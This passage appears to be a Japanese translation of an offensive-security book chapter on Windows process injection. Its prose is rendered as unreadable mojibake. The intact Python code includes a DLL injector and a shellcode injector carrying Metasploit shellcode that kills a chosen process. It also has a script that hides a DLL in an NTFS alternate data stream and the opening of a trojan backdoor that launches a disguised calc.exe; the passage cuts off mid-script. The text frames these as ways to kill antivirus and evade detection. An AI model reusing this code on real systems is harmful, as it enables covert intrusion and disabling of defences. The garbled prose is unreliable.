ã€ã³ãã
ããã°ã©ã ããªããŒã¹ãŸãã¯æ»æããå Žåã調æ»äžã®ããã»ã¹ã®ã³ã³ããã¹ãã§ã³ãŒããããŠã³ããŒãããŠå®è¡ã§ãããšäŸ¿å©ãªå ŽåããããŸãã ãã¹ã¯ãŒãããã·ã¥ãçãããã¿ãŒã²ããã·ã¹ãã ã®ãªã¢ãŒããã¹ã¯ãããã«ã¢ã¯ã»ã¹ãããã«ããããããã³ãŒããšdllã©ã€ãã©ãªãæ¿å ¥ããæ¹æ³ã¯åŒ·åãªæ©èœãæäŸããŸãã äž¡æ¹ã®æ¹æ³ã䜿çšã§ããåçŽãªPythonãŠãŒãã£ãªãã£ãããã€ãäœæããŸãã ãããã®ã¡ãœããã¯ãããã°ã©ã ããšã¯ã¹ããã€ããã·ã§ã«ã³ãŒããããã³ãã³ãã¹ã¿ãŒã®ãã¹ãŠã®éçºè ã®æŠåšåº«ã®äžéšã§ããå¿ èŠããããŸãã DLLã€ã³ãžã§ã¯ã·ã§ã³ã䜿çšããŠãå¥ã®ããã»ã¹å ã§ãããã¢ãããŠã£ã³ããŠãèµ·åããŸãã ãŸããã³ãŒãã€ã³ãžã§ã¯ã·ã§ã³ã䜿çšããŠãPIDã«åºã¥ããŠããã»ã¹ã匷å¶çµäºããããã«èšèšãããã·ã§ã«ã³ãŒãããã¹ãããŸãã ãã®ç« ã®æåŸã§ãPythonã§å®å šã«èšè¿°ãããããã€ã®æšéŠ¬ïŒããã¯ãã¢æ©èœä»ãïŒãäœæããŠã³ã³ãã€ã«ããŸãã 圌ã¯ãã³ãŒãã®å®è£ ãšãããããåªããããã¯ãã¢ã䜿çšãã¹ãä»ã®é ãããæŠè¡ã®äœ¿çšã«å€§ããäŸåããŠããŸãã äž¡æ¹ã®å®è£ æ¹æ³ã®åºç€ãšãªããªã¢ãŒãã¹ã¬ããã®äœæã®ãããã¯ããèŠãŠãããŸãããã
7.1ãªã¢ãŒãã¹ã¬ããã®äœæ
DLLã€ã³ãžã§ã¯ã·ã§ã³ãšã³ãŒãã€ã³ãžã§ã¯ã·ã§ã³ã«ã¯ããã€ãã®å€§ããªéãããããŸãããäž¡æ¹ã®æ¹æ³ã¯åãæ¹æ³ã§ãã€ãŸããªã¢ãŒãã¹ã¬ãããäœæããããšã§å®çŸãããŸãã ãªã¢ãŒãã¹ã¬ããã¯ãKernel32.dllãããšã¯ã¹ããŒããããWin32 APIã®äžéšã§ããCreateRemoteThreadïŒïŒé¢æ°[1]ã䜿çšããŠäœæãããŸã ã 圌女ã«ã¯æ¬¡ã®ãããã¿ã€ãããããŸãã
HANDLE WINAPI CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );
å¿é ããªãã§ãã ããã圌女ã«ã¯å€ãã®ãã©ã¡ãŒã¿ãŒããããŸããããããã¯ãã¹ãŠçŽæçã§ãã æåã®ãã©ã¡ãŒã¿ãŒhProcessã¯ãããç¥ã£ãŠããã¯ãã§ãã ããã¯ãã¹ã¬ãããéå§ããããã»ã¹ãžã®ãã³ãã«ã§ãã lpThreadAttributesãã©ã¡ãŒã¿ãŒã¯ãæ°ããäœæãããã¹ã¬ããã®ã»ãã¥ãªãã£èšè¿°åãèšå®ããã ãã§ãåããã»ã¹ãã¹ã¬ããèšè¿°åãç¶æ¿ã§ãããã©ããã瀺ããŸãã å€ãNULLã«èšå®ããŸããããã«ãããç¶æ¿ãããªãã¹ããªãŒã èšè¿°åãšããã©ã«ãã®ã»ãã¥ãªãã£èšè¿°åãæäŸãããŸãã dwStackSizeãã©ã¡ãŒã¿ãŒã¯ãäœæãããã¹ããªãŒã ã®ã¹ã¿ãã¯ãµã€ãºãèšå®ããã ãã§ãã ããããŒãã«èšå®ãããšãããã»ã¹ã§æ¢ã«äœ¿çšãããŠããããã©ã«ãã®ãµã€ãºãäžããããŸãã 次ã®lpStartAddressãã©ã¡ãŒã¿ãŒã¯ãæãéèŠãªãã©ã¡ãŒã¿ãŒã®1ã€ã§ãã ã¹ã¬ãããå®è¡ãéå§ããã¡ã¢ãªå ã®å Žæã瀺ããŸãã å®è£ ã容æã«ããããã«å¿ èŠãªã³ãŒããå®è¡ãããããã«ããã®ã¢ãã¬ã¹ãæ£ããèšå®ããããšãéåžžã«éèŠã§ãã 次ã®ãã©ã¡ãŒã¿ãŒlpParametrã¯ãåã®ãã©ã¡ãŒã¿ãŒãšã»ãŒåããããéèŠã§ãã ããã«ãããlpStartAddressã§æå®ãããã¹ããªãŒã é¢æ°ã«æž¡ãããå€æ°ãžã®ãã€ã³ã¿ãŒãæäŸã§ããŸãã ããã¯æåã¯ãããã«ãããããããŸããããããã«ããã®ãã©ã¡ãŒã¿ãŒãDLLã®å®è£ ã«ãšã£ãŠã©ãã»ã©éèŠã§ããããããããŸãã dwCreationFlagsãã©ã¡ãŒã¿ãŒã¯ãã¹ã¬ããã®éå§æ¹æ³ã決å®ããŸãã åžžã«ãŒãã«èšå®ããŸããã€ãŸããã¹ã¬ããã¯äœæåŸããã«å®è¡ãããŸãã dwCreationFlagsããµããŒãããä»ã®å€ã«ã€ããŠã¯ãMSDNã®ããã¥ã¡ã³ããèªç±ã«ãã§ãã¯ããŠãã ããã lpThreadIdãã©ã¡ãŒã¿ãŒã¯æåŸã§ãã æ°ããäœæãããã¹ããªãŒã ã®èå¥åïŒIDïŒãå ¥åãããŸãã
æ¿å ¥ãããã³ãŒãã®äœæãæ åœããé¢æ°ã®ã¡ã€ã³ã³ãŒã«ãç解ã§ããã®ã§ããªã¢ãŒãããã»ã¹ã«DLLãåã蟌ãããã«ãã®äœ¿çšã®åé¡ã調ã¹ãã·ã§ã«ã³ãŒãã®å®è£ ã«åŸã ã«é²ã¿ãŸãã ãªã¢ãŒãã¹ããªãŒã ãäœæããæçµçã«ã³ãŒããå®è¡ããæé ã¯ãç¹å®ã®ã±ãŒã¹ïŒDLLãšã·ã§ã«ã³ãŒãã®å®è£ ïŒããšã«ãããã«ç°ãªãããã2å䜿çšããŠãã¹ãŠã®éããã«ããŒããŸãã
7.1.1 DLLã€ã³ãžã§ã¯ã·ã§ã³
DLLã®å°å ¥ã¯ããªãé·ãéãåãšæªã®äž¡æ¹ã«äœ¿çšãããŠããŸããã ã©ããèŠãŠããã©ãã§ãDLLå®è£ ã衚瀺ãããŸãã çããWindowsã·ã§ã«æ¡åŒµãããéè¡æ å ±ãçããã«ãŠã§ã¢ãŸã§ã DLLã®å®è£ ã¯ã©ãã«ã§ããããŸãã ã»ãã¥ãªãã£è£œåã§ãããæªæã®ããã¢ã¯ãã£ããã£ã远跡ããããã«ç¬èªã®DLLãå±éããŠããŸãã DLLã€ã³ãžã§ã¯ã·ã§ã³ã䜿çšããããšã®ç®çã¯ããã€ããªãã¡ã€ã«ãã³ã³ãã€ã«ããããã»ã¹ã«ããŒãããŠãããã»ã¹ã®äžéšãšããŠå®è¡ã§ããããšã§ãã ããã¯ãããšãã°ãç¹å®ã®ã¢ããªã±ãŒã·ã§ã³ã®ã¿ãçºä¿¡æ¥ç¶ãèš±å¯ãããœãããŠã§ã¢ãã¡ã€ã¢ãŠã©ãŒã«ããã€ãã¹ããå Žåã«éåžžã«äŸ¿å©ã§ãã Pythonã§DLLã€ã³ãžã§ã¯ã¿ãŒãäœæãããšãã«ããã®ãããã¯ãå°ã調æ»ããŸããããã«ãããéžæããããã»ã¹ã«DLLãåã蟌ãããšãã§ããŸãã
DLLãWindowsããã»ã¹ã®ã¡ã¢ãªã«ããŒãããã«ã¯ã kernel32.dllãããšã¯ã¹ããŒããããLoadLibraryïŒïŒé¢æ°ã䜿çšããå¿ èŠããããŸãã 圌女ã«ã¯æ¬¡ã®ãããã¿ã€ãããããŸãã
HMODULE LoadLibrary( LPCTSTR lpFileName );
lpFileNameãã©ã¡ãŒã¿ãŒã¯ãDLLãããŒãããããã®ãã®ã§ãã ãªã¢ãŒãããã»ã¹ããããŒããããDLLãžã®ãã¹ãå«ãæååãžã®ãã€ã³ã¿ãŒã䜿çšããŠLoadLibraryAãåŒã³åºãããã«åŒ·å¶ããå¿ èŠããããŸãã æåã®ã¹ãããã¯ãLoadLibraryAé¢æ°ã®å ŽæãèŠã€ããããšã§ãã 次ã«ãããŒããããDLLã®ååãæžã蟌ã¿ãŸãã CreateRemoteThreadïŒïŒãåŒã³åºããšãã¯ãlpStartAddressãã©ã¡ãŒã¿ãŒã§LoadLibraryAã®ãã±ãŒã·ã§ã³ã¢ãã¬ã¹ãæå®ããlpParameterã«ãDLLãžã®ãã¹ïŒååïŒãã®ãã±ãŒã·ã§ã³ã¢ãã¬ã¹ãé 眮ããŸãã CreateRemoteThreadïŒïŒã®å®è¡ãéå§ããããšãLoadLibraryAãåŒã³åºãããŸããããã¯ããªã¢ãŒãããã»ã¹ãDLLèªäœãããŒãããèŠæ±ãäœæããå Žåãšåãã§ãã
æ³šïŒ å®è£ ããã¹ããããã ã® DLLã¯ããã®æ¬ã®ãœãŒã¹ã¢ãŒã«ã€ãã«ãããŸããããã¯www.nostarch.com/ghpython.htmããããŠã³ããŒãã§ããŸãã DLLã®ãœãŒã¹ã³ãŒããå éšã«ãããŸãã
ã³ãŒãã«ç§»ããŸãããã æ°ããPythonãã¡ã€ã«ãéãã dll_injector.pyãšããååãä»ããŠã次ã®ã³ãŒããå ¥åããŸãã
dll_injector.py
import sys from ctypes import * PAGE_READWRITE = 0x04 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) kernel32 = windll.kernel32 pid = sys.argv[1] dll_path = sys.argv[2] dll_len = len(dll_path) # Get a handle to the process we are injecting into. h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print "[*] Couldn't acquire a handle to PID: %s" % pid sys.exit(0) (#1): # Allocate some space for the DLL path arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL_MEM, PAGE_READWRITE) (#2): # Write the DLL path into the allocated space written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written)) (#3): # We need to resolve the address for LoadLibraryA h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") h_loadlib = kernel32.GetProcAddress(h_kernel32,"LoadLibraryA") (#4): # Now we try to create the remote thread, with the entry point set # to LoadLibraryA and a pointer to the DLL path as its single parameter thread_id = c_ulong(0) if not kernel32.CreateRemoteThread(h_process, None, 0, h_loadlib, arg_address, 0, byref(thread_id)): print "[*] Failed to inject the DLL. Exiting." sys.exit(0) print "[*] Remote thread with ID 0x%08x created." % thread_id.value
æåã®ã¹ãããïŒïŒ1ïŒã§ã¯ ãåã蟌ã¿DLLã®ãã¹ãä¿åããã®ã«ååãªã¡ã¢ãªãå²ãåœãŠããã®ãã¹ãæ°ããå²ãåœãŠãããã¡ã¢ãªïŒïŒ2ïŒã«æžã蟌ãå¿ èŠããããŸãã 次ã«ãLoadLibraryA ïŒïŒ3ïŒé¢æ°ã®ã¢ãã¬ã¹ãèŠã€ããŠãCreateRemoteThreadïŒïŒ ïŒïŒ4ïŒé¢æ°ã®åŒã³åºãã«æž¡ãå¿ èŠããããŸãã äœæãããã¹ã¬ãããå®è¡ãéå§ãããšããã«ãåã蟌ãŸããDLLãæ»æãããããã»ã¹ã«èªã¿èŸŒãŸãããã®åŸãå®è£ ãæåããããšã瀺ããããã¢ãããã€ã¢ãã°ããã¯ã¹ã衚瀺ãããŸãã 以äžã«ç€ºãã¹ã¯ãªããã䜿çšããŸãã
./dll_injector <PID> <Path to DLL>
DLLå®è£ ã®å®è£ æ¹æ³ã®è¯ãäŸããããŸãã åã蟌ã¿DLLã«ã¯ãã€ããŒããå«ãŸããŠããŸããããå®è£ æè¡èªäœãç解ããããšã¯éèŠã§ãã ããã§ã¯ãã³ãŒãã®å®è£ ã«ç§»ããŸãããïŒ
7.1.2ã³ãŒãã€ã³ãžã§ã¯ã·ã§ã³
ãã£ãšé°æ¹¿ãªãã®ã«ç§»ããŸãããã ã³ãŒãã®å®è£ ã«ããããã£ã¹ã¯äžã«çè·¡ãæ®ããã«ãã¡ã¢ãªã§ã®å³æå®è¡ã«ãããçã®ã·ã§ã«ã³ãŒããäœæ¥ããã»ã¹ã«åã蟌ãããšãã§ããŸãã ããã¯ãæ»æè ãã·ã§ã«æ¥ç¶ãããããã»ã¹ããå¥ã®ããã»ã¹ã«ãæ»æåŸã«ç§»è¡ã§ããããã«ãããã®ã§ããããŸãã
ç¹å®ã®PIDã§ããã»ã¹ãåçŽã«çµäºããåçŽãªã·ã§ã«ã³ãŒããååŸããŸãã ããã«ããããªã¢ãŒãããã»ã¹ã«ç§»åããå ã å®è¡ããŠããããã»ã¹ã匷å¶çµäºã§ããŸããããã«ããããã©ãã¯ãã«ããŒã§ããŸãã
ããã¯ãæçµçã«äœæããããã€ã®æšéŠ¬ã®éèŠãªæ©èœã§ãã ãŸããããªãã®ããŒãºãæºããããã«ãã·ã§ã«ã³ãŒããå®å šã«çœ®ãæããŠãå°ãã¢ãžã¥ãŒã«åã§ããããã«ããæ¹æ³ã玹ä»ããŸãã
ããã»ã¹ã匷å¶çµäºããã·ã§ã«ã³ãŒããååŸããã«ã¯ãMetasploitãããžã§ã¯ãã®ããŒã ããŒãžã«ã¢ã¯ã»ã¹ããŠã䟿å©ãªã·ã§ã«ã³ãŒããžã§ãã¬ãŒã¿ãŒã䜿çšããŸãã 以åã«äœ¿çšããããšããªãå Žå㯠ã metasploit.com / shellcodeã«ã¢ã¯ã»ã¹ããŠè©ŠããŠãã ããã ãã®ã±ãŒã¹ã§ã¯ããžã§ãã¬ãŒã¿ãŒã䜿çšããŠWindowså®è¡ã³ãã³ãã·ã§ã«ã³ãŒããäœæããŸããïŒãªã¹ã7-1ãåç §ïŒã 察å¿ããèšå®ã衚瀺ãããŸãïŒ
ãªã¹ã7-1ïŒ Metasploitãããžã§ã¯ãã®ãªã³ã©ã€ã³ãžã§ãã¬ãŒã¿ãŒã«ãã£ãŠçæãããã·ã§ã«ãã©ãŒã·ã§ã«ã³ãŒãã
/* win32_exec - EXITFUNC=thread CMD=taskkill /PID AAAAAAAA Size=152 Encoder=None http://metasploit.com */ unsigned char scode[] = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" "\xe7\x74\x61\x73\x6b\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41" "\x41\x41\x41\x41\x41\x41\x41\x00";
ã·ã§ã«ã³ãŒããã§ããã®ã§ãä»åºŠã¯ããã°ã©ãã³ã°ã«æ»ããåã蟌ã¿ã³ãŒããã©ã®ããã«æ©èœãããã瀺ããŸãã æ°ããPythonãã¡ã€ã«ãéãã code_injector.pyãšããååãä»ããŠã次ã®ã³ãŒããå ¥åããŸãã
code_injector.py
import sys from ctypes import * # We set the EXECUTE access mask so that our shellcode will # execute in the memory block we have allocated PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) kernel32 = windll.kernel32 pid = int(sys.argv[1]) pid_to_kill = sys.argv[2] if not sys.argv[1] or not sys.argv[2]: print "Code Injector: ./code_injector.py <PID to inject> <PID to Kill>" sys.exit(0) #/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA #Size=159 Encoder=None http://metasploit.com */ shellcode = \ "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \ "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \ "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \ "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \ "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \ "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \ "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \ "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \ "\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \ "\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00" (#1): padding = 4 - (len( pid_to_kill )) replace_value = pid_to_kill + ( "\x00" * padding ) replace_string= "\x41" * 4 shellcode = shellcode.replace( replace_string, replace_value ) code_size = len(shellcode) # Get a handle to the process we are injecting into. h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print "[*] Couldn't acquire a handle to PID: %s" % pid sys.exit(0) # Allocate some space for the shellcode arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) # Write out the shellcode written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, byref(written)) # Now we create the remote thread and point its entry routine # to be head of our shellcode thread_id = c_ulong(0) (#2): if not kernel32.CreateRemoteThread(h_process,None,0,arg_address,None, 0,byref(thread_id)): print "[*] Failed to inject process-killing shellcode. Exiting." sys.exit(0) print "[*] Remote thread created with a thread ID of: 0x%08x" % thread_id.value print "[*] Process %s should not be running anymore!" % pid_to_kill
ãã§ã«ã³ãŒãã®äžéšãç¥ã£ãŠããŸãããããã€ãã®èå³æ·±ãããªãã¯ããããŸãã æåã«è¡ãããšã¯ãã·ã§ã«ã³ãŒãïŒïŒ1ïŒã®ããŒã«ãŒè¡ïŒ\ x41 \ x41 \ x41 \ x41 \ x00ïŒãå®äºããããã»ã¹ã®PIDã«çœ®ãæããããšã§ãã ãã1ã€ã®é¡èãªéãã¯ãCreateRemoteThreadïŒïŒ ïŒïŒ2ïŒé¢æ°ãåŒã³åºãæ¹æ³ã§ãã ãã©ã¡ãŒã¿lpStartAddressãã·ã§ã«ã³ãŒãã®å é ãæãããã«ãªããŸããã ãŸããé¢æ°ã«äœãæž¡ãå¿ èŠããªããããlpParameterãNULLã«èšå®ããŸãã代ããã«ãã¹ã¬ããã«ã·ã§ã«ã³ãŒãã®å®è¡ãéå§ãããã ãã§ãã
ã¹ã¯ãªãããå®è¡ããåã«ãããã€ãã®cmd.exeããã»ã¹ãå®è¡ãã察å¿ããPIDãååŸããŠããã次ã«ç€ºãããã«ã¹ã¯ãªãããå®è¡ããŸãã
./code_injector.py <PID to inject> <PID to kill>
é©åãªã³ãã³ãã©ã€ã³åŒæ°ã䜿çšããŠã¹ã¯ãªãããå®è¡ãããšãæ£åžžã«äœæãããã¹ããªãŒã ã衚瀺ãããŸãïŒã¹ã¯ãªããã¯ã¹ããªãŒã IDãè¿ããŸãïŒã ãŸããéžæããcmd.exeããã»ã¹ã匷å¶çµäºãããããšã«ã泚æããŠãã ããã
ããã§ãå¥ã®ããã»ã¹ã§ã·ã§ã«ã³ãŒããããŒãããŠå®è¡ããæ¹æ³ãããããŸããã ããã¯ãã·ã§ã«ã³ãŒãã䜿çšããŠã³ãŒã«ããã¯é¢æ°ãèšå®ãããšãã ãã§ãªãããã£ã¹ã¯äžã«ã³ãŒãããªãããããã¬ãŒã¹ãé衚瀺ã«ãããšãã«ã䟿å©ã§ãã ããã§ãåŠç¿ããæ å ±ã®äžéšã䜿çšããããã¯ãã¢ãäœæããŸããããã¯ãã¢ã¯ãæ»æããããã·ã³äžã§å®è¡ããããšãã«ãã€ã§ããªã¢ãŒãã¢ã¯ã»ã¹ã§ããããã«ããŸãã æªã®åŽã«è¡ããïŒ
7.2æªã®åŽã«
æªæã®ããã«ç¿åŸããã¹ãã«ã䜿çšããŸãã 次ã«ãã·ã¹ãã ã®å®è¡äžã«ãã€ã§ãã·ã¹ãã ãå¶åŸ¡ããããã«äœ¿çšã§ããå°ããªããã¯ãã¢ãäœæããŸãã å®è¡å¯èœãã¡ã€ã«ã®å®è¡ãéå§ããããšããŠãŒã¶ãŒãå®è¡ãããå ã®ããã°ã©ã ãèµ·åããŸãïŒããšãã°ããã€ããªcalc.exeãšå ã®calc.exeãåŒã³åºããŠãæ¢ç¥ã®å Žæã«è»¢éããŸã ïŒã 2çªç®ã®ããã»ã¹ïŒå ã®calc.exe ïŒãèªã¿èŸŒãŸãããšããªã¢ãŒããã·ã³ã«æ¥ç¶ããã³ãŒããæ¿å ¥ããŸãã ã·ã§ã«ã³ãŒããå®è¡ããã ã·ã§ã« ïŒãªã¢ãŒããã·ã³ãšã®éä¿¡ïŒãã§ããããæ»æã®å®è¡å ããã»ã¹ã«2çªç®ã®ã³ãŒããå°å ¥ããŸãã
ã¡ãã£ãšïŒ calc.exeãçµäºãããŠããã ããŸããïŒ èŠããã«ãã¯ãã ããããããã»ã¹ã®å®äºã¯ãããã¯ãã¢ã«ãã£ãŠãµããŒããããéèŠãªæè¡ã§ãã ããšãã°ãåã®ç« ã§åŠãã ã³ãŒããšç¥èãçµã¿åãããŠãæ©èœããã¢ã³ããŠã€ã«ã¹ãŸãã¯ãã¡ã€ã¢ãŠã©ãŒã«ãèŠã€ããŠããããã殺ãããšãã§ããŸãã ãã¡ãããäžèŠã«ãªã£ãå Žåãããããã»ã¹ããå¥ã®ããã»ã¹ã«ç§»åã§ãããšåæã«ã移åããããã»ã¹ã匷å¶çµäºã§ããããšãéèŠã§ãã
ãã®ããŒãã§ã¯ãPythonã¹ã¯ãªãããEXEã«ã³ã³ãã€ã«ããæ¹æ³ãšãã¡ã€ã³ã®å®è¡å¯èœãã¡ã€ã«ã§DLLãé衚瀺ã«ããæ¹æ³ã瀺ããŸãã ã¡ãã£ãšããããªãã¯ã䜿ã£ãŠãããããšãšãã«EXEãã¡ã€ã«ãšãšãã«æž¡ãDLLãäœæããæ¹æ³ãèŠãŠã¿ãŸãããã
7.2.1ãã¡ã€ã«ã®é衚瀺
å®è£ ãããDLLãããã¯ãã¢ã§å®å šã«é åžããããŸã泚ç®ãããªãããã«ããã«ã¯ããã¡ã€ã«ãä¿åããããã®é ãããæ¹æ³ãå¿ èŠã§ãã 2ã€ã®å®è¡å¯èœãã¡ã€ã«ïŒDLLãå«ãïŒãåãããããã1ã€ã®ãã¡ã€ã«ã«çµåããã©ãããŒïŒçŽãã¬ãŒã³ã¯ãžã§ã€ããŒãæå³ããŸãïŒã䜿çšã§ããŸããããã®æ¬ã¯Pythonã䜿çšãããããã³ââã°ã«é¢ãããã®ãªã®ã§ãããå°ãåµé çã§ããå¿ èŠããããŸãã
å®è¡å¯èœãã¡ã€ã«å ã®ãã¡ã€ã«ãé衚瀺ã«ããããã«ãAlternate Data StreamsïŒADSïŒãšåŒã°ããNTFSãã¡ã€ã«ã·ã¹ãã ã®æ¢åã®æ©èœãæªçšããŸãã 代æ¿ããŒã¿ã¹ããªãŒã ã¯ãWindows NT 3.1ã§åããŠç»å ŽããAppleã®éå±€ãã¡ã€ã«ã·ã¹ãã ïŒHFSïŒãšå¯Ÿè©±ããæ段ãšããŠå°å ¥ãããŸããã ADSã䜿çšãããšããã£ã¹ã¯äžã«1ã€ã®ãã¡ã€ã«ãäœæããã¡ã€ã³ã®å®è¡å¯èœãã¡ã€ã«ã«æ·»ä»ãããã¹ããªãŒã ã«DLLãä¿åã§ããŸãã ã¹ããªãŒã ãšã¯ããã£ã¹ã¯äžã«è¡šç€ºããããã¡ã€ã«ã«æ·»ä»ãããŠããé ããã¡ã€ã«ã«ãããŸããã
代æ¿ããŒã¿ã¹ããªãŒã ã䜿çšããå ŽåããŠãŒã¶ãŒã®çŽæ¥ã®èŠç·ããDLLãé ããŸãã ç¹å¥ãªããŒã«ããªããã°ãã³ã³ãã¥ãŒã¿ãŒãŠãŒã¶ãŒã¯ADSã®å 容ãèŠãããšãã§ããŸãããããã¯ç§ãã¡ã«ãšã£ãŠçæ³çã§ãã ããã«ãå€ãã®ã»ãã¥ãªãã£è£œåã¯ä»£æ¿ã¹ã¬ãããé©åã«ã¹ãã£ã³ããªããããããããåé¿ããŠæ€åºãåé¿ããå¯èœæ§ãååã«ãããŸãã
代æ¿ã¹ããªãŒã ã䜿çšããã«ã¯ã以äžã«ç€ºãããã«ãã³ãã³ãšé ããªããžã§ã¯ãã®ãã¡ã€ã«åãæ¢åã®ãã¡ã€ã«ã«è¿œå ããå¿ èŠããããŸãã
reverser.exe:vncdll.dll
ãã®å Žåã vncdll.dllãååŸããŸã ãããã¯ã reverser.exeãã¡ã€ã«ã«æ·»ä»ãããŠãã代æ¿ããŒã¿ã¹ããªãŒã ã«æ ŒçŽãããŠããŸãã ãã¡ã€ã«ãã代æ¿ã¹ããªãŒã ãåã«èªã¿æžãããå°ããªã¹ã¯ãªãããæžããŸãããã æ°ããPythonãã¡ã€ã«ãéãã file_hider.pyãšããååãä»ããŠã次ã®ã³ãŒããå ¥åããŸãã
file_hider.py
import sys # Read in the DLL fd = open( sys.argv[1], "rb" ) dll_contents = fd.read() fd.close() print "[*] Filesize: %d" % len( dll_contents ) # Now write it out to the ADS fd = open( "%s:%s" % ( sys.argv[2], sys.argv[1] ), "wb" ) fd.write( dll_contents ) fd.close()
ç¹å¥ãªããšã¯ãããŸãã-æåã®ã³ãã³ãã©ã€ã³åŒæ°ã¯èªã¿åãå¿ èŠãããDLLã§ã2çªç®ã®åŒæ°ã¯DLLã代æ¿ã¹ããªãŒã ã«æžã蟌ãŸãããã¡ã€ã«ã§ãã ãã®åçŽãªã¹ã¯ãªããã䜿çšããŠãå®è¡å¯èœãã¡ã€ã«å ã«ããããçš®é¡ã®ãã¡ã€ã«ãä¿åã§ããŸããADSããçŽæ¥DLLãå®è£ ããããšãã§ããŸãã ããã¯ãã¢ã§ã¯DLLã€ã³ãžã§ã¯ã·ã§ã³ã䜿çšããŸããããåŒãç¶ããµããŒããããŸãã®ã§ãå ã«é²ãã§ãã ããã
7.2.2ããã¯ãã¢ã³ãŒã
éžæããã¢ããªã±ãŒã·ã§ã³ãåã«èµ·åãããå®è¡ãªãã€ã¬ã¯ãã³ãŒãããäœæããããšããå§ããŸãããã ã³ãŒãã®ååã®çç±ã¯ãå®è¡ãªãã€ã¬ã¯ããã§ããããã¯ãããã¯ãã¢calc.exeãåŒã³åºããå ã®calc.exeãå¥ã®å Žæã«ç§»åããããã§ãã ãŠãŒã¶ãŒãé»åãèµ·åããããšãããšããã£ããããã¯ãã¢ãèµ·åããŸããããã¯ãã¢ã¯å®éã®é»åãèµ·åããããããŠãŒã¶ãŒã«çãããããŸããã 第3ç« ã® my_debugger_defines.pyãã¡ã€ã«ãå«ããããšã«æ³šæããŠãã ããããã®ãã¡ã€ã«ã«ã¯ãããã»ã¹ãäœæããããã«å¿ èŠãªãã¹ãŠã®å®æ°ãšæ§é ãå«ãŸããŠããŸãã æ°ããPythonãã¡ã€ã«ãéãã backdoor.pyãšããååãä»ããŠã次ã®ã³ãŒããå ¥åããŸãã
backdoor.py
# This library is from Chapter 3 and contains all # the necessary defines for process creation # 3. # import sys from ctypes import * from my_debugger_defines import * kernel32 = windll.kernel32 PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) # This is the original executable path_to_exe = "C:\\calc.exe" startupinfo = STARTUPINFO() process_information = PROCESS_INFORMATION() creation_flags = CREATE_NEW_CONSOLE startupinfo.dwFlags = 0x1 startupinfo.wShowWindow = 0x0 startupinfo.cb = sizeof(startupinfo) # First things first, fire up that second process # and store its PID so that we can do our injection kernel32.CreateProcessA(path_to_exe, None, None, None, None, creation_flags, None, None, byref(startupinfo), byref(process_information)) pid = process_information.dwProcessId
